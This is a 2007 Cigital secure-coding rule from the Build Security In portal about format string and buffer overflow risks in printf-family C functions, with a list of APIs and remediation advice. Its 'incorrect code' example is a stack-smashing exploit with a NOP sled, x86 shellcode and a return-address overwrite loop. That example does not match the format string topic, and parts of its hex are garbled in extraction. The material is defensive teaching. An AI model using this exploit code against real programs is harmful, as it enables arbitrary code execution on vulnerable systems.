# MetaRule

String Formatting

Sean Barnum, Cigital, Inc. [vita[1]]

Copyright © 2007 Cigital, Inc.

2007-03-29

## Part "Original Cigital Coding Rule in XML"

Mime-type: text/xml, size: 9543 bytes

| | |
|---|---|
| **Attack Category** | • Malicious Input |
| **Vulnerability Category** | • Format string<br>• Buffer Overflow<br>• Unconditional |
| **Software Context** | • String Formatting |
| **Location** | |
| **Description** | The printf family of functions is susceptible to a variety of format string and buffer overflow attacks. Flag any instance of printf() functions in the code. Determine whether the format string is being provided through some input channel. If the function is using a single argument, this is a definite vulnerability.<br><br>If the first argument is a variable string, try to determine whether it is user supplied. If so, it will be more difficult to determine whether it is vulnerable to the threat. If it is influenced by any data that comes into the current function, it should be flagged as a (potentially false positive) vulnerability.<br><br>All of these functions have potential format string problems. Some (as marked) also have potential BO problems when they write their output to strings. |
| **APIs** | |

| FunctionName | Comments |
|---|---|
| _cprintf | fmt: 0; src: 1 variable; Windows, cprintf (console) |
| _ftprintf | fmt: 0; src: 1 variable; Windows, TCHAR fprintf |
| _stprintf | fmt: 1; src: 2 variable; Windows, sprintf |
| _swprintf | fmt: 1; src: 2 variable; Windows, sprintf |

1. http://buildsecurityin.us-cert.gov/bsi-rules/35-BSI.html (Barnum, Sean)

| | |
|---|---|
| _tprintf | fmt: 0; src: 1 variable; Windows, TCHAR printf |
| _vsnwprintf | fmt: 2; src: 3 variable; Windows, vprintf |
| fprintf | fmt: 1; src: 2 variable; look for printf(str) without a |
| fwprintf | fmt: 1; src: 2 variable; Windows |
| printf | fmt: 0; src: 1 variable; look for printf(str) without a |
| sprintf | fmt: 1; src: 2 variable; look for printf(str) without a |
| swprintf | fmt: 1; src: 2 variable; Windows, sprintf |
| vfprintf | fmt: 1; src: 2 variable; Windows, fprintf |
| vfwprintf | fmt: 1; src: 2 variable; Windows, Wide fprintf |
| vprintf | fmt: 0; src: 1 variable; Windows |
| vswprintf | fmt: 2; src: 3 variable; Windows |
| vwprintf | fmt: 0; src: 1 variable; Windows |
| wprintf | fmt: 0; src: 1 variable; Windows |

| | |
|---|---|
| **Method of Attack** | Printf style formatting opens the program to a variety of format string attacks, especially if printing user-supplied format strings. If arguments to printf do not match up with the %-tokens in the format string, arbitrary information will be grabbed from the stack, potentially overrunning buffers or printing out dangerous internal memory contents.<br><br>Using a single, user-supplied format string to simply be printed (e.g., "printf(mystr)") is asking for a format string attack. If a real format string for other arguments to be formatted into is not supplied, the attacker is able to pass in arbitrary data. Specifically, the attacker can pass in his own "%d" style elements into that string which starts reading arbitrary values off the stack. Worse, it can allow arbitrary values to be written into memory. |

| | |
|---|---|
| **Exception Criteria** | If the first argument is a string literal constant, this rule does not apply. |
| **Solutions** | |

| Solution Applicability | Solution Description | Solution Efficacy |
|---|---|---|
| Generally applicable. | First, and simplest, replace any instance of printf(str); with printf("%s", str); | This avoids the most basic vulnerability. If str is parameterized input, str can clearly be overloaded with non-string data and induce, among other things, stack and overflow vulnerabilities. |

**Signature Details**

**Examples of Incorrect Code**

```
// This is only one example. The
topic of string vulnerabilities is
broad and consideration should be
// given to making separate rules
for different cases

#include <stdio.h>

/* Given a program like:
void foo( char *s ) {
char name[200];
strcpy(name,s);
printf("Name is %s\n",name);
}
int main(void) {
char buf[2000];
read(0,buf,2000);
foo(buf);
}
and will start up a shell
*/

unsigned char pgm[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\xeb\x1f\x5e
\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c
\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
```

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
"\x90\x90\x90";

/* This value depends on the
target program - it is a guess of
the
new return-address */

unsigned int target = 0xbfffd0e8;

// 0x0xbfffd1e8; // 0xbffff8f4;

int main(int argc, char **argv) {
int i;
int n = strlen(pgm);
printf("N is %d\n",n);

target += atoi(argv[1]);

write(1,pgm,n);
for (i=0;i<100;i++) {
write(1,&target,4);
}
}
```

**Examples of Corrected Code**

```
//From MSDN description of strsafe
functions:
TCHAR pszDest[30];
size_t cchDest = 30;

LPCTSTR pszFormat = TEXT("%s %d +
%d = %d.");
TCHAR* pszTxt = TEXT("The answer
is");

HRESULT hr =
StringCchPrintf(pszDest, cchDest,
pszFormat, pszTxt, 1, 2, 3);

// The resultant string at pszDest
is "The answer is 1 + 2 = 3."
```

**Source References**

- Howard, Michael & LeBlanc, David C. *Writing Secure Code, 2nd ed.* Redmond, WA: Microsoft Press, 2002, ISBN: 0735617228
- Format String Attacks, Tim Newsham, www.guardent.com[2]
- Bugtraq archives[3]
- http://www.dwheeler.com/essays/write_it_secure_1.html
- Wheeler, David. Write It Secure: Format Strings and Locale Filtering[5]. (2000).

**Recommended Resource**

**Discriminant Set**

| | |
|---|---|
| **Operating System** | • Windows |

| | | |
|---|---|---|
| | **Languages** | • C<br>• C++ |

## Cigital, Inc. Copyright

Copyright © Cigital, Inc. 2005-2007. Cigital retains copyrights to this material.

Permission to reproduce this document and to prepare derivative works from this document for internal use is granted, provided the copyright and “No Warranty” statements are included with all reproductions and derivative works.

For information regarding external or commercial use of copyrighted materials owned by Cigital, including information about “Fair Use,” contact Cigital at copyright@cigital.com[1].

The Build Security In (BSI) portal is sponsored by the U.S. Department of Homeland Security (DHS), National Cyber Security Division. The Software Engineering Institute (SEI) develops and operates BSI. DHS funding supports the publishing of all site content.

1. mailto:copyright@cigital.com